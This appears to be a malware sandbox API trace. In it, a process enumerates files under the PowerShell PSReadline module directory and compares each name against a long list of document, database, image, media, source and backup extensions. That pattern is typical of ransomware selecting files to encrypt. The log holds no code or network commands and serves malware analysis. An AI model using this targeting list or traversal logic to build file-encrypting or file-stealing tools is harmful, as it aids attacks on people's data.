	[0162.455] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1
	[0162.455] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0
	[0162.455] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0162.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0162.455] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1
	[0162.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0162.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0162.455] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.456] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0162.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0162.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\en\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0162.456] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.456] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.456] lstrlenW (lpString="Microsoft.PowerShell.PSReadline.Resources.dll") returned 45
	[0162.456] lstrlenW (lpString=".1cd") returned 4
	[0162.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0162.456] lstrlenW (lpString=".3ds") returned 4
	[0162.456] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0162.456] lstrlenW (lpString=".3fr") returned 4
	[0162.456] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0162.456] lstrlenW (lpString=".3g2") returned 4
	[0162.457] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0162.457] lstrlenW (lpString=".3gp") returned 4
	[0162.457] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0162.457] lstrlenW (lpString=".7z") returned 3
	[0162.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0162.457] lstrlenW (lpString=".accda") returned 6
	[0162.457] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".accdb") returned 6
	[0162.457] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".accdc") returned 6
	[0162.457] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".accde") returned 6
	[0162.457] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".accdt") returned 6
	[0162.457] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".accdw") returned 6
	[0162.457] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0162.457] lstrlenW (lpString=".adb") returned 4
	[0162.457] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0162.457] lstrlenW (lpString=".adp") returned 4
	[0162.457] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0162.457] lstrlenW (lpString=".ai") returned 3
	[0162.457] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0162.457] lstrlenW (lpString=".ai3") returned 4
	[0162.457] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0162.457] lstrlenW (lpString=".ai4") returned 4
	[0162.458] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".ai5") returned 4
	[0162.458] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".ai6") returned 4
	[0162.458] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".ai7") returned 4
	[0162.458] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".ai8") returned 4
	[0162.458] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".anim") returned 5
	[0162.458] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0162.458] lstrlenW (lpString=".arw") returned 4
	[0162.458] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".as") returned 3
	[0162.458] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0162.458] lstrlenW (lpString=".asa") returned 4
	[0162.458] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".asc") returned 4
	[0162.458] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0162.458] lstrlenW (lpString=".ascx") returned 5
	[0162.459] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0162.459] lstrlenW (lpString=".asm") returned 4
	[0162.459] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".asmx") returned 5
	[0162.459] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0162.459] lstrlenW (lpString=".asp") returned 4
	[0162.459] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".aspx") returned 5
	[0162.459] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0162.459] lstrlenW (lpString=".asr") returned 4
	[0162.459] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".asx") returned 4
	[0162.459] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".avi") returned 4
	[0162.459] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".avs") returned 4
	[0162.459] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".backup") returned 7
	[0162.459] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0162.459] lstrlenW (lpString=".bak") returned 4
	[0162.459] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".bay") returned 4
	[0162.459] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0162.459] lstrlenW (lpString=".bd") returned 3
	[0162.460] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0162.460] lstrlenW (lpString=".bin") returned 4
	[0162.460] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".bmp") returned 4
	[0162.460] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".bz2") returned 4
	[0162.460] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".c") returned 2
	[0162.460] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0162.460] lstrlenW (lpString=".cdr") returned 4
	[0162.460] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".cer") returned 4
	[0162.460] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".cf") returned 3
	[0162.460] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0162.460] lstrlenW (lpString=".cfc") returned 4
	[0162.460] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".cfm") returned 4
	[0162.460] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0162.460] lstrlenW (lpString=".cfml") returned 5
	[0162.460] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0162.460] lstrlenW (lpString=".cfu") returned 4
	[0162.460] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".chm") returned 4
	[0162.461] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".cin") returned 4
	[0162.461] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".class") returned 6
	[0162.461] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0162.461] lstrlenW (lpString=".clx") returned 4
	[0162.461] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".config") returned 7
	[0162.461] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0162.461] lstrlenW (lpString=".cpp") returned 4
	[0162.461] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".cr2") returned 4
	[0162.461] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0162.461] lstrlenW (lpString=".crt") returned 4
	[0162.462] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".crw") returned 4
	[0162.462] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".cs") returned 3
	[0162.462] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0162.462] lstrlenW (lpString=".css") returned 4
	[0162.462] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".csv") returned 4
	[0162.462] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".cub") returned 4
	[0162.462] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".dae") returned 4
	[0162.462] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".dat") returned 4
	[0162.462] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".db") returned 3
	[0162.462] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0162.462] lstrlenW (lpString=".dbf") returned 4
	[0162.462] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0162.462] lstrlenW (lpString=".dbx") returned 4
	[0162.462] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dc3") returned 4
	[0162.463] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dcm") returned 4
	[0162.463] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dcr") returned 4
	[0162.463] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".der") returned 4
	[0162.463] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dib") returned 4
	[0162.463] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dic") returned 4
	[0162.463] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".dif") returned 4
	[0162.463] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0162.463] lstrlenW (lpString=".divx") returned 5
	[0162.463] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0162.463] lstrlenW (lpString=".djvu") returned 5
	[0162.463] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0162.463] lstrlenW (lpString=".dng") returned 4
	[0162.463] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0162.463] lstrlenW (lpString=".doc") returned 4
	[0162.463] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0162.463] lstrlenW (lpString=".docm") returned 5
	[0162.463] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0162.464] lstrlenW (lpString=".docx") returned 5
	[0162.464] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0162.464] lstrlenW (lpString=".dot") returned 4
	[0162.464] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dotm") returned 5
	[0162.464] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0162.464] lstrlenW (lpString=".dotx") returned 5
	[0162.464] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0162.464] lstrlenW (lpString=".dpx") returned 4
	[0162.464] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dqy") returned 4
	[0162.464] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dsn") returned 4
	[0162.464] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dt") returned 3
	[0162.464] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0162.464] lstrlenW (lpString=".dtd") returned 4
	[0162.464] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dwg") returned 4
	[0162.464] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dwt") returned 4
	[0162.464] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0162.464] lstrlenW (lpString=".dx") returned 3
	[0162.465] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0162.465] lstrlenW (lpString=".dxf") returned 4
	[0162.465] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".edml") returned 5
	[0162.465] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0162.465] lstrlenW (lpString=".efd") returned 4
	[0162.465] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".elf") returned 4
	[0162.465] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".emf") returned 4
	[0162.465] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".emz") returned 4
	[0162.465] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".epf") returned 4
	[0162.465] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".eps") returned 4
	[0162.465] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".epsf") returned 5
	[0162.465] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0162.465] lstrlenW (lpString=".epsp") returned 5
	[0162.465] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0162.465] lstrlenW (lpString=".erf") returned 4
	[0162.465] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0162.465] lstrlenW (lpString=".exr") returned 4
	[0162.465] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".f4v") returned 4
	[0162.466] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".fido") returned 5
	[0162.466] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0162.466] lstrlenW (lpString=".flm") returned 4
	[0162.466] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".flv") returned 4
	[0162.466] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".frm") returned 4
	[0162.466] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".fxg") returned 4
	[0162.466] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".geo") returned 4
	[0162.466] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".gif") returned 4
	[0162.466] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".grs") returned 4
	[0162.466] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0162.466] lstrlenW (lpString=".gz") returned 3
	[0162.466] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0162.466] lstrlenW (lpString=".h") returned 2
	[0162.467] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0162.467] lstrlenW (lpString=".hdr") returned 4
	[0162.467] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".hpp") returned 4
	[0162.467] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".hta") returned 4
	[0162.467] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".htc") returned 4
	[0162.467] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".htm") returned 4
	[0162.467] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".html") returned 5
	[0162.467] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0162.467] lstrlenW (lpString=".icb") returned 4
	[0162.467] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".ics") returned 4
	[0162.467] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".iff") returned 4
	[0162.467] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".inc") returned 4
	[0162.467] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0162.467] lstrlenW (lpString=".indd") returned 5
	[0162.467] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0162.468] lstrlenW (lpString=".ini") returned 4
	[0162.468] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".iqy") returned 4
	[0162.468] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".j2c") returned 4
	[0162.468] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".j2k") returned 4
	[0162.468] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".java") returned 5
	[0162.468] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0162.468] lstrlenW (lpString=".jp2") returned 4
	[0162.468] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".jpc") returned 4
	[0162.468] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0162.468] lstrlenW (lpString=".jpe") returned 4
	[0162.469] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".jpeg") returned 5
	[0162.469] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0162.469] lstrlenW (lpString=".jpf") returned 4
	[0162.469] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".jpg") returned 4
	[0162.469] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".jpx") returned 4
	[0162.469] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".js") returned 3
	[0162.469] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0162.469] lstrlenW (lpString=".jsf") returned 4
	[0162.469] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".json") returned 5
	[0162.469] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0162.469] lstrlenW (lpString=".jsp") returned 4
	[0162.469] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".kdc") returned 4
	[0162.469] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".kmz") returned 4
	[0162.469] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".kwm") returned 4
	[0162.469] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0162.469] lstrlenW (lpString=".lasso") returned 6
	[0162.470] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0162.470] lstrlenW (lpString=".lbi") returned 4
	[0162.470] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".lgf") returned 4
	[0162.470] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".lgp") returned 4
	[0162.470] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".log") returned 4
	[0162.470] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".m1v") returned 4
	[0162.470] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".m4a") returned 4
	[0162.470] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".m4v") returned 4
	[0162.470] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".max") returned 4
	[0162.470] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".md") returned 3
	[0162.470] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0162.470] lstrlenW (lpString=".mda") returned 4
	[0162.470] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0162.470] lstrlenW (lpString=".mdb") returned 4
	[0162.470] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mde") returned 4
	[0162.471] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mdf") returned 4
	[0162.471] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mdw") returned 4
	[0162.471] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mef") returned 4
	[0162.471] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mft") returned 4
	[0162.471] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mfw") returned 4
	[0162.471] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mht") returned 4
	[0162.471] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mhtml") returned 6
	[0162.471] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0162.471] lstrlenW (lpString=".mka") returned 4
	[0162.471] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mkidx") returned 6
	[0162.471] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0162.471] lstrlenW (lpString=".mkv") returned 4
	[0162.471] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0162.471] lstrlenW (lpString=".mos") returned 4
	[0162.471] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mov") returned 4
	[0162.472] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mp3") returned 4
	[0162.472] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mp4") returned 4
	[0162.472] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mpeg") returned 5
	[0162.472] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0162.472] lstrlenW (lpString=".mpg") returned 4
	[0162.472] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mpv") returned 4
	[0162.472] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
